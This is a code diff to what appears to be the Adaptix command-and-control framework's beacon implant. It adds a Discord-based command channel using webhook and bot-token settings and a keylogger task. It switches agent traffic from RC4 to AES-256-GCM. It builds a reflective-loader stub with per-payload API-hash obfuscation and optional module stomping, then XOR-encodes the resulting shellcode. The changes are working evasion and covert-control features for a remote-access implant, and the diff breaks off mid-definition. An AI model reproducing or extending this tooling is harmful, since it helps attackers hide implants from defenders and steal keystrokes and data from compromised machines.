@@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } else if protocol == "dns" { ObjectDir = ObjectDir_dns ConnectorFile = "ConnectorDNS" + } else if protocol == "discord" { + ObjectDir = ObjectDir_discord + ConnectorFile = "ConnectorDiscord" } else { return nil, "", errors.New("protocol unknown") } @@ -629,13 +669,60 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Configuration compiled successfully") + beaconDefine := "" + switch protocol { + case "http": + beaconDefine = "-DBEACON_HTTP" + case "bind_smb": + beaconDefine = "-DBEACON_SMB" + case "bind_tcp": + beaconDefine = "-DBEACON_TCP" + case "dns": + beaconDefine = "-DBEACON_DNS" + case "discord": + beaconDefine = "-DBEACON_DISCORD" + } + + recompileFiles := []string{ConnectorFile} + for name := range seedDependentFiles { + recompileFiles = append(recompileFiles, name) + } + if protocol == "dns" { + recompileFiles = append(recompileFiles, "DnsCodec") + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Recompiling hash-dependent files with per-payload seed...") + for _, srcFile := range recompileFiles { + srcPath := "beacon/" + srcFile + ".cpp" + outPath := tempDir + "/" + srcFile + Ext + cmdRecomp := fmt.Sprintf("%s %s %s %s -o %s", Compiler, cFlags, beaconDefine, srcPath, outPath) + var recompArgs []string + recompArgs = append(recompArgs, "-c", cmdRecomp) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", recompArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Hash-dependent files recompiled") + + recompiledSet := make(map[string]bool) + for _, f := range recompileFiles { + recompiledSet[f] = true + } + Files := tempDir + "/config.o " - Files += ObjectDir + "/" + ConnectorFile + Ext + " " + Files += tempDir + "/" + ConnectorFile + Ext + " " for _, ofile := range ObjectFiles { - Files += ObjectDir + "/" + ofile + Ext + " " + if recompiledSet[ofile] { + Files += tempDir + "/" + ofile + Ext + " " + } else { + Files += ObjectDir + "/" + ofile + Ext + " " + } } if protocol == "dns" { - Files = appendDNSObjectFiles(Files, ObjectDir, Ext) + Files += tempDir + "/DnsCodec" + Ext + " " + Files += ObjectDir + "/miniz" + Ext + " " } if generateConfig.Format == "Exe" { @@ -722,17 +809,85 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ if err != nil { return nil, "", err } - _ = os.RemoveAll(tempDir) if generateConfig.Format == "Shellcode" { - stubContent, err := os.ReadFile(stubPath) - if err != nil { - return nil, "", err + if generateConfig.Arch == "x64" { + stubHashes := computeStubHashes(seed) + nasmSrc := "files/stub_rdi.x64.asm" + stubBinPath := tempDir + "/stub.x64.bin" + nasmDefines := fmt.Sprintf("-DDJB2_SEED=%d -DHASH_MOD_NTDLL=0x%x -DHASH_MOD_KERNEL32=0x%x "+ + "-DHASH_NTCREATESECTION=0x%x -DHASH_NTMAPVIEWOFSECTION=0x%x "+ + "-DHASH_NTPROTECTVIRTUALMEMORY=0x%x -DHASH_NTCLOSE=0x%x "+ + "-DHASH_LOADLIBRARYA=0x%x -DHASH_GETPROCADDRESS=0x%x "+ + "-DHASH_FLUSHINSTRUCTIONCACHE=0x%x -DHASH_FREELIBRARY=0x%x "+ + "-DHASH_LOADLIBRARYEXA=0x%x", + seed, + stubHashes.ModNtdll, stubHashes.ModKernel32, + stubHashes.NtCreateSection, stubHashes.NtMapViewOfSection, + stubHashes.NtProtectVirtualMem, stubHashes.NtClose, + stubHashes.LoadLibraryA, stubHashes.GetProcAddress, + stubHashes.FlushInstructionCache, stubHashes.FreeLibrary, + stubHashes.LoadLibraryExA) + + if generateConfig.ModuleStomp && generateConfig.StompPaths != "" { + incPath := tempDir + "/stomp_paths.inc" + var incContent strings.Builder + incContent.WriteString("_stomp_paths:\n") + for _, line := range strings.Split(generateConfig.StompPaths, "\n") { + path := strings.TrimSpace(line) + if path == "" { + continue + } + escaped := strings.ReplaceAll(path, `\`, `\\`) + incContent.WriteString(fmt.Sprintf(" db \"%s\", 0\n", escaped)) + } + incContent.WriteString(" db 0\n") + _ = os.WriteFile(incPath, []byte(incContent.String()), 0644) + nasmDefines += fmt.Sprintf(" -DMODULE_STOMP -I%s/", tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Module stomping enabled") + } + + nasmCmd := fmt.Sprintf("nasm -f bin %s %s -o %s", nasmDefines, nasmSrc, stubBinPath) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Assembling reflective loader stub with per-payload hashes...") + var nasmArgs []string + nasmArgs = append(nasmArgs, "-c", nasmCmd) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", nasmArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + stubContent, err := os.ReadFile(stubBinPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Stub: %d bytes, raw shellcode: %d bytes", len(stubContent), len(rawShellcode))) + + Payload, err = xorEncodeShellcode(rawShellcode, "x64") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) + } else { + stubContent, err := os.ReadFile(stubPath) + if err != nil { + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + + Payload, err = xorEncodeShellcode(rawShellcode, "x86") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) } - Payload = append(stubContent, buildContent...) } else { Payload = buildContent } + _ = os.RemoveAll(tempDir) _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) /// END CODE HERE @@ -805,13 +960,13 @@ func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.Exten func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMEncrypt(data, key) /// END CODE } func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { /// START CODE - return RC4Crypt(data, key) + return AES256GCMDecrypt(data, key) /// END CODE } @@ -1485,6 +1640,11 @@ func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[st array = []interface{}{COMMAND_UNLINK, int(id)} + case "keylog": + taskData.Type = adaptix.TASK_TYPE_JOB + pollInterval := 100 + array = []interface{}{COMMAND_KEYLOG_START, pollInterval} + case "upload": var fileName string var localFile string @@ -1855,6 +2015,11 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData } task.Message = message + case COMMAND_KEYLOG_START: + task.Type = adaptix.TASK_TYPE_JOB + task.Completed = false + task.Message = "Keylogger started (use 'jobs kill' to stop)" + case COMMAND_JOB: if false == packer.CheckPacker([]string{"byte", "byte"}) { goto HANDLER diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go index b0243a690..cbb8eb2c1 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_utils.go +++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go @@ -3,7 +3,9 @@ package main import ( "bytes" "compress/zlib" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" + crypto_rand "crypto/rand" "errors" "fmt" "io" @@ -59,6 +61,8 @@ const ( COMMAND_SHELL_CLOSE = 73 COMMAND_SHELL_ACCEPT = 74 + COMMAND_KEYLOG_START = 80 + COMMAND_JOB = 0x8437 COMMAND_SAVEMEMORY = 0x2321 COMMAND_ERROR = 0x1111ffff @@ -204,14 +208,42 @@ func SizeBytesToFormat(bytes int64) string { return fmt.Sprintf("%.2f Kb", size/KB) } -func RC4Crypt(data []byte, key []byte) ([]byte, error) { - rc4crypt, errcrypt := rc4.NewCipher(key) - if errcrypt != nil { - return nil, errors.New("rc4 crypt error") +func AES256GCMEncrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(crypto_rand.Reader, nonce); err != nil { + return nil, fmt.Errorf("nonce generation error: %v", err) + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + return ciphertext, nil +} + +func AES256GCMDecrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, fmt.Errorf("aes cipher error: %v", err) + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, fmt.Errorf("gcm error: %v", err) + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return nil, errors.New("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, fmt.Errorf("gcm decrypt error: %v", err) } - decryptData := make([]byte, len(data)) - rc4crypt.XORKeyStream(decryptData, data) - return decryptData, nil + return plaintext, nil } func parseDurationToSeconds(input string) (int, error) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile index e3bc7efed..18b8994cf 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile @@ -10,6 +10,7 @@ HTTP_DIST_DIR := "objects_http" SMB_DIST_DIR := "objects_smb" TCP_DIST_DIR := "objects_tcp" DNS_DIST_DIR := "objects_dns" +DISCORD_DIST_DIR := "objects_discord" HTTP_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x64.o, $(SOURCES)) HTTP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x86.o, $(SOURCES)) @@ -23,6 +24,9 @@ TCP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(TCP_DIST_DIR)/%.x86.o, $(SOURCES)) DNS_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x64.o, $(SOURCES)) DNS_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x86.o, $(SOURCES)) +DISCORD_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x64.o, $(SOURCES)) +DISCORD_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x86.o, $(SOURCES)) + SECURITY_FLAGS := -fno-stack-protector \ -fno-strict-overflow \ -fno-delete-null-pointer-checks \ @@ -38,6 +42,7 @@ COMMON_FLAGS := -I $(BEACON_DIR) \ -w \ $(ASM_SYNTAX) \ -fPIC \ + -DDJB2_SEED=1572U \ $(SECURITY_FLAGS) \ $(OPTIMIZATION_FLAGS) @@ -55,7 +60,7 @@ endif all: clean pre x64 x86 pre: - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) @ # http @ cp $(FILES_DIR)/config.tpl $(HTTP_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(HTTP_DIST_DIR)/stub.x64.bin @@ -72,54 +77,68 @@ pre: @ cp $(FILES_DIR)/config.tpl $(DNS_DIST_DIR)/config.cpp @ cp $(FILES_DIR)/stub.x64.bin $(DNS_DIST_DIR)/stub.x64.bin @ cp $(FILES_DIR)/stub.x86.bin $(DNS_DIST_DIR)/stub.x86.bin + @ # discord + @ cp $(FILES_DIR)/config.tpl $(DISCORD_DIST_DIR)/config.cpp + @ cp $(FILES_DIR)/stub.x64.bin $(DISCORD_DIST_DIR)/stub.x64.bin + @ cp $(FILES_DIR)/stub.x86.bin $(DISCORD_DIST_DIR)/stub.x86.bin clean: - @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) - @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) + @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) + @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR) -x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) +x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) $(DISCORD_OBJECTS_X64) @ # http @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o $(HTTP_DIST_DIR)/ConnectorDiscord.x64.o @ # smb @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x64.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o $(SMB_DIST_DIR)/ConnectorDiscord.x64.o @ # tcp @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x64.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o $(TCP_DIST_DIR)/ConnectorDiscord.x64.o @ # dns @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x64.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o - -x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o $(DNS_DIST_DIR)/ConnectorDiscord.x64.o + @ # discord + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x64.o + @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x64.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x64.o $(DISCORD_DIST_DIR)/ConnectorSMB.x64.o $(DISCORD_DIST_DIR)/ConnectorTCP.x64.o $(DISCORD_DIST_DIR)/ConnectorDNS.x64.o + +x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) $(DISCORD_OBJECTS_X86) @ # http @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/ConnectorDiscord.x86.o @ # smb @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x86.o - @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o $(SMB_DIST_DIR)/ConnectorDiscord.x86.o @ # tcp @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x86.o - @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o + @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o $(TCP_DIST_DIR)/ConnectorDiscord.x86.o @ # dns @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x86.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o $(DNS_DIST_DIR)/ConnectorDiscord.x86.o + @ # discord + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x86.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x86.o $(DISCORD_DIST_DIR)/ConnectorSMB.x86.o $(DISCORD_DIST_DIR)/ConnectorTCP.x86.o $(DISCORD_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/%.x64.o: beacon/%.cpp @@ -176,3 +195,17 @@ $(DNS_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp $(DNS_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) -c $< -o $@ + + + +$(DISCORD_DIST_DIR)/%.x64.o: beacon/%.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/%.x86.o: beacon/%.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp index 794093fae..7cbe07756 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp @@ -26,8 +26,8 @@ Agent::Agent() proxyfire = new Proxyfire(); pivotter = new Pivotter(); - SessionKey = (PBYTE) MemAllocLocal(16); - for (int i = 0; i < 16; i++) + SessionKey = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + for (int i = 0; i < AES_GCM_KEY_SIZE; i++) SessionKey[i] = GenerateRandom32() % 0x100; } @@ -100,45 +100,44 @@ BYTE* Agent::BuildBeat(ULONG* size) packer->Pack8(this->info->minor_version); packer->Pack32(this->info->internal_ip); packer->Pack8( flag ); - packer->PackBytes(this->SessionKey, 16); + packer->PackBytes(this->SessionKey, AES_GCM_KEY_SIZE); packer->PackStringA(this->info->domain_name); packer->PackStringA(this->info->computer_name); packer->PackStringA(this->info->username); packer->PackStringA(this->info->process_name); - EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16); + int beatEncLen; + unsigned char* beatEnc = EncryptAES256GCM(packer->data(), packer->datasize(), this->config->encrypt_key, &beatEncLen); MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name)); MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name)); MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username)); MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name)); -#if defined(BEACON_HTTP) || defined(BEACON_DNS) +#if defined(BEACON_HTTP) || defined(BEACON_DNS) || defined(BEACON_DISCORD) - ULONG beat_size = packer->datasize(); - PBYTE beat = packer->data(); + ULONG beat_size = beatEncLen; + PBYTE beat = beatEnc; -#elif defined(BEACON_SMB) +#elif defined(BEACON_SMB) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat+4, packer->data(), packer->datasize()); + memcpy(beat+4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); -#elif defined(BEACON_TCP) +#elif defined(BEACON_TCP) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat + 4, packer->data(), packer->datasize()); + memcpy(beat + 4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); #endif diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp index 90ef0c054..e632e6692 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp @@ -25,10 +25,11 @@ AgentConfig::AgentConfig() Packer* packer = new Packer((BYTE*)ProfileBytes, size); ULONG profileSize = packer->Unpack32(); - this->encrypt_key = (PBYTE) MemAllocLocal(16); - memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16); + this->encrypt_key = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + memcpy(this->encrypt_key, packer->data() + 4 + profileSize, AES_GCM_KEY_SIZE); - DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16); + int plainLen; + DecryptAES256GCM(packer->data()+4, profileSize, this->encrypt_key, &plainLen); this->agent_type = packer->Unpack32(); this->kill_date = packer->Unpack32(); @@ -98,6 +99,14 @@ AgentConfig::AgentConfig() this->profile.burst_jitter = packer->Unpack32(); this->profile.dns_mode = packer->Unpack32(); this->profile.user_agent = packer->UnpackBytesCopy(&length); + +#elif defined(BEACON_DISCORD) + this->listener_type = packer->Unpack32(); + this->profile.webhook_url = packer->UnpackBytesCopy(&length); + this->profile.bot_token = packer->UnpackBytesCopy(&length); + this->profile.channel_tasks_id = packer->UnpackBytesCopy(&length); + this->profile.poll_interval = packer->Unpack32(); + this->profile.cleanup = packer->Unpack8(); #endif #if defined(BEACON_DNS) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h index 71d70131c..6a1f17a73 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h @@ -64,6 +64,14 @@ typedef struct { BYTE* user_agent; } 